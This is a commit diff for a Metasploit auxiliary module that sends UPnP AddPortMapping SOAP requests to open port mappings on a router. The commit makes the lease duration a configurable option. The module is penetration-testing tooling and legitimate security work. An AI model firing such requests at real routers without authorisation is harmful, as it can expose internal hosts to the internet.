Expose lease duration as an option
parent
d57041136f
commit
13dd8222ec
|
@ -22,14 +22,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptString.new('INTERNAL_CLIENT', [true, 'New Internal Client']),
|
||||
OptEnum.new('PROTOCOL', [true, 'Transport level protocol to map', 'TCP', %w(TCP UDP)]),
|
||||
OptInt.new('INTERNAL_PORT', [true, 'New Internal Port']),
|
||||
OptInt.new('EXTERNAL_PORT', [true, 'New External Port'])
|
||||
OptInt.new('EXTERNAL_PORT', [true, 'New External Port']),
|
||||
OptInt.new('LEASE_DURATION', [true, 'Lease time for mapping, in seconds', 3600])
|
||||
],
|
||||
self.class
|
||||
)
|
||||
end
|
||||
|
||||
def setup
|
||||
@protocol = datastore['PROTOCOL']
|
||||
end
|
||||
|
||||
def run
|
||||
|
@ -38,12 +38,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
content << "<SOAP-ENV:Body>"
|
||||
content << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
|
||||
content << "<NewPortMappingDescription>#{Rex::Text.rand_text_alpha(8)}</NewPortMappingDescription>"
|
||||
content << "<NewLeaseDuration>3600</NewLeaseDuration>"
|
||||
content << "<NewLeaseDuration>#{datastore['LEASE_DURATION']}</NewLeaseDuration>"
|
||||
content << "<NewInternalClient>#{datastore['INTERNAL_CLIENT']}</NewInternalClient>"
|
||||
content << "<NewEnabled>1</NewEnabled>"
|
||||
content << "<NewExternalPort>#{datastore['EXTERNAL_PORT']}</NewExternalPort>"
|
||||
content << "<NewRemoteHost></NewRemoteHost>"
|
||||
content << "<NewProtocol>#{@protocol}</NewProtocol>"
|
||||
content << "<NewProtocol>#{datastore['PROTOCOL']}</NewProtocol>"
|
||||
content << "<NewInternalPort>#{datastore['INTERNAL_PORT']}</NewInternalPort>"
|
||||
content << "</m:AddPortMapping>"
|
||||
content << "</SOAP-ENV:Body>"
|
||||
|
|
Loading…
Reference in New Issue